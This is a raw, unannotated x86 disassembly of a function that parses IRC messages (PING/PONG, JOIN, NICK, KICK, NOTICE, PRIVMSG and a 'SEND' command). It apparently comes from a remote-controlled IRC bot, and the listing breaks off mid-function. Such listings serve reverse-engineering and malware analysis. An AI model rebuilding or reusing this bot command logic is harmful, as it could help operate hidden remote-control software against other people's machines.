var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_432340 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_43233C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_432338 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4322CC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_432278


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_432254
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_432238
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4321FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_4321F8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
